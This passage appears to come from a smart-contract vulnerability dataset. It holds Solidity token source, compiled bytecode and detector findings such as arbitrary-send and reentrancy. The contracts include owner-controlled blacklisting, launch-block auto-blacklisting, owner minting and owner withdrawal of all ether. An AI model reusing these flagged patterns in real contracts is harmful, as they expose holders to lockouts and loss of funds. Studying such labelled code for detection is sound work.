require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f4578063cf0848f714610409578063cf9d4afa14610429578063dd62ed3e14610449578063e6ec64ec1461048f578063f2fde38b146104af57600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b4578063b515566a146103d457600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cf565b005b34801561017e57600080fd5b5060408051808201909152600c81526b53616974614b696e67496e7560a01b60208201525b6040516101b091906118ec565b60405180910390f35b3480156101c557600080fd5b506101d96101d4366004611966565b61051b565b60405190151581526020016101b0565b3480156101f557600080fd5b5067016345785d8a00005b6040519081526020016101b0565b34801561021a57600080fd5b506101d9610229366004611992565b610532565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d3660046119e9565b61059b565b34801561026e57600080fd5b506101d961027d366004611aae565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611aae565b610631565b3480156102c757600080fd5b5061017061067f565b3480156102dc57600080fd5b506101d96102eb366004611aae565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611aae565b6106b9565b34801561033557600080fd5b506101706106db565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561037257600080fd5b50610170610381366004611aae565b610711565b34801561039257600080fd5b50604080518082019091526005815264534b494e4760d81b60208201526101a3565b3480156103c057600080fd5b506101d96103cf366004611966565b61078b565b3480156103e057600080fd5b506101706103ef3660046119e9565b610798565b34801561040057600080fd5b506101706108b1565b34801561041557600080fd5b50610170610424366004611aae565b610968565b34801561043557600080fd5b50610170610444366004611aae565b6109b3565b34801561045557600080fd5b50610200610464366004611acb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049b57600080fd5b506101706104aa366004611b04565b610c0e565b3480156104bb57600080fd5b506101706104ca366004611aae565b610c84565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611b1d565b60405180910390fd5b600061050d306106b9565b905061051881610d1c565b50565b6000610528338484610e96565b5060015b92915050565b600061053f848484610fba565b610591843361058c85604051806060016040528060288152602001611c98602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d5565b610e96565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016104f990611b1d565b60005b815181101561062d576000600560008484815181106105e9576105e9611b52565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062581611b7e565b9150506105c8565b5050565b6000546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104f990611b1d565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062d573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052c9061140f565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104f990611b1d565b61070f6000611493565b565b6000546001600160a01b0316331461073b5760405162461bcd60e51b81526004016104f990611b1d565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610528338484610fba565b6000546001600160a01b031633146107c25760405162461bcd60e51b81526004016104f990611b1d565b60005b815181101561062d57600c5482516001600160a01b03909116908390839081106107f1576107f1611b52565b60200260200101516001600160a01b0316141580156108425750600b5482516001600160a01b039091169083908390811061082e5761082e611b52565b60200260200101516001600160a01b031614155b1561089f5760016005600084848151811061085f5761085f611b52565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a981611b7e565b9150506107c5565b6000546001600160a01b031633146108db5760405162461bcd60e51b81526004016104f990611b1d565b600c54600160a01b900460ff1661093f5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f9565b600c805460ff60b81b1916600160b81b17905542600d819055610963906078611b99565b600e55565b6000546001600160a01b031633146109925760405162461bcd60e51b81526004016104f990611b1d565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109dd5760405162461bcd60e51b81526004016104f990611b1d565b600c54600160a01b900460ff1615610a455760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f9565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac09190611bb1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190611bb1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba29190611bb1565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c385760405162461bcd60e51b81526004016104f990611b1d565b600f811115610c7f5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f9565b600855565b6000546001600160a01b03163314610cae5760405162461bcd60e51b81526004016104f990611b1d565b6001600160a01b038116610d135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f9565b61051881611493565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6457610d64611b52565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de19190611bb1565b81600181518110610df457610df4611b52565b6001600160a01b039283166020918202929092010152600b54610e1a9130911684610e96565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e53908590600090869030904290600401611bce565b600060405180830381600087803b158015610e6d57600080fd5b505af1158015610e81573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b0382166110805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b600081116110e25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6001600160a01b03831660009081526005602052604090205460ff161561118a5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f9565b6001600160a01b03831660009081526004602052604081205460ff161580156111cc57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e25750600c54600160a81b900460ff16155b80156112125750600c546001600160a01b03858116911614806112125750600c546001600160a01b038481169116145b156113c357600c54600160b81b900460ff166112705760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f9565b50600c546001906001600160a01b03858116911614801561129f5750600b546001600160a01b03848116911614155b80156112ac575042600e54115b156112f35760006112bc846106b9565b90506112dc60646112d667016345785d8a000060026114e3565b90611562565b6112e684836115a4565b11156112f157600080fd5b505b600d54421415611321576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132c306106b9565b600c54909150600160b01b900460ff161580156113575750600c546001600160a01b03868116911614155b156113c15780156113c157600c5461138b906064906112d690600f90611385906001600160a01b03166106b9565b906114e3565b8111156113b857600c546113b5906064906112d690600f90611385906001600160a01b03166106b9565b90505b6113c181610d1c565b505b6113cf84848484611603565b50505050565b600081848411156113f95760405162461bcd60e51b81526004016104f991906118ec565b5060006114068486611c3f565b95945050505050565b60006006548211156114765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b6000611480611706565b905061148c8382611562565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f25750600061052c565b60006114fe8385611c56565b90508261150b8583611c75565b1461148c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061148c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611729565b6000806115b18385611b99565b90508381101561148c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b808061161157611611611757565b60008060008061162087611773565b6001600160a01b038d166000908152600160205260409020549397509195509350915061164d90856117ba565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167c90846115a4565b6001600160a01b03891660009081526001602052604090205561169e816117fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e391815260200190565b60405180910390a350505050806116ff576116ff600954600855565b5050505050565b6000806000611713611846565b90925090506117228282611562565b9250505090565b6000818361174a5760405162461bcd60e51b81526004016104f991906118ec565b5060006114068486611c75565b60006008541161176657600080fd5b6008805460095560009055565b60008060008060008061178887600854611886565b915091506000611796611706565b90506000806117a68a85856118b3565b909b909a5094985092965092945050505050565b600061148c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d5565b6000611806611706565b9050600061181483836114e3565b3060009081526001602052604090205490915061183190826115a4565b30600090815260016020526040902055505050565b600654600090819067016345785d8a00006118618282611562565b82101561187d5750506006549267016345785d8a000092509050565b90939092509050565b6000808061189960646112d687876114e3565b905060006118a786836117ba565b96919550909350505050565b600080806118c186856114e3565b905060006118cf86866114e3565b905060006118dd83836117ba565b92989297509195505050505050565b600060208083528351808285015260005b81811015611919578581018301518582016040015282016118fd565b8181111561192b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051857600080fd5b803561196181611941565b919050565b6000806040838503121561197957600080fd5b823561198481611941565b946020939093013593505050565b6000806000606084860312156119a757600080fd5b83356119b281611941565b925060208401356119c281611941565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119fc57600080fd5b823567ffffffffffffffff80821115611a1457600080fd5b818501915085601f830112611a2857600080fd5b813581811115611a3a57611a3a6119d3565b8060051b604051601f19603f83011681018181108582111715611a5f57611a5f6119d3565b604052918252848201925083810185019188831115611a7d57600080fd5b938501935b82851015611aa257611a9385611956565b84529385019392850192611a82565b98975050505050505050565b600060208284031215611ac057600080fd5b813561148c81611941565b60008060408385031215611ade57600080fd5b8235611ae981611941565b91506020830135611af981611941565b809150509250929050565b600060208284031215611b1657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9257611b92611b68565b5060010190565b60008219821115611bac57611bac611b68565b500190565b600060208284031215611bc357600080fd5b815161148c81611941565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1e5784516001600160a01b031683529383019391830191600101611bf9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5157611c51611b68565b500390565b6000816000190483118215151615611c7057611c70611b68565b500290565b600082611c9257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5b1b4aeee39e439baaf759c68fe3f985bc746fd09ac33d60fa01b7d4624b4d364736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,657 |
0x8a9c3c53cc3bedf90fb925e19a1480fa7e5f790f
|
pragma solidity ^0.4.25;
/**
* @title ETHERLIBERTY Project
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ETHERLIBERTY is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "ETHERLIBERTY";
string public constant symbol = "ETHL";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 5000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 5 ether / 1000; // 0.01 Ether
uint256 public tokensPerEth = 25000000e8;
uint public target0drop = 1200;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x67C4DdbC83E0cA9401bBAc49BB2Cc7b5B6018d7f ;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 4000000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 5000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a9610863565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a036004351660243561089a565b604080519115158252519081900360200190f35b34801561026257600080fd5b50610192600435610942565b34801561027a57600080fd5b506102836109af565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a03600435811690602435166044356109b5565b3480156102cb57600080fd5b50610283610b28565b3480156102e057600080fd5b50610192600435610b2e565b3480156102f857600080fd5b50610283610b88565b34801561030d57600080fd5b50610192600435610b8d565b34801561032557600080fd5b50610283610c6c565b34801561033a57600080fd5b50610283600160a060020a0360043516610c72565b34801561035b57600080fd5b50610283610c8d565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c98565b34801561039457600080fd5b50610283610cbd565b3480156103a957600080fd5b50610283610cc3565b3480156103be57600080fd5b50610192610cc9565b3480156103d357600080fd5b506101a9610d26565b3480156103e857600080fd5b50610242610d5d565b3480156103fd57600080fd5b50610192600435610de1565b34801561041557600080fd5b50610242600160a060020a0360043516602435610e33565b34801561043957600080fd5b50610242600160a060020a0360043516610f12565b34801561045a57600080fd5b50610242610f27565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610f37565b34801561049657600080fd5b50610283610fe8565b3480156104ab57600080fd5b50610283600160a060020a0360043581169060243516610fee565b3480156104d257600080fd5b50610242600160a060020a0360043516611019565b3480156104f357600080fd5b5061028361116d565b34801561050857600080fd5b50610283611173565b34801561051d57600080fd5b50610192600160a060020a0360043516611179565b34801561053e57600080fd5b506101926024600480358281019291013590356111cb565b600080600080600080600080600d60149054906101000a900460ff1615151561057e57600080fd5b600a546000985088975087965067016345785d8a00009550670de0b6b3a76400009450674563918244f40000935084906105be903463ffffffff61122416565b8115156105c757fe5b0497503391506611c37937e0800034101580156105e5575060055442105b80156105f2575060075442105b80156105ff575060065442105b1561065d5784341015801561061357508334105b15610627576064600589025b049550610658565b83341015801561063657508234105b15610646576064600a890261061f565b348311610658576064600f89025b0495505b6106ca565b6611c37937e080003410158015610675575060055442105b8015610682575060075442115b801561068f575060065442105b156106c5578334101580156106a357508234105b156106b35760646005890261061f565b348311610658576064600a8902610654565b600095505b87860196508715156107685750600160a060020a03811660009081526004602052604090205464746a5288009060ff1615801561070b5750600b54600c5411155b1561074f5761071a828261124d565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c80549091019055610763565b6611c37937e0800034101561076357600080fd5b6107ef565b60008811801561077f57506611c37937e080003410155b156107db57600554421015801561079857506007544210155b80156107a5575060065442105b156107ba576107b4828961124d565b50610763565b3485116107cb576107b4828861124d565b6107d5828961124d565b506107ef565b6611c37937e080003410156107ef57600080fd5b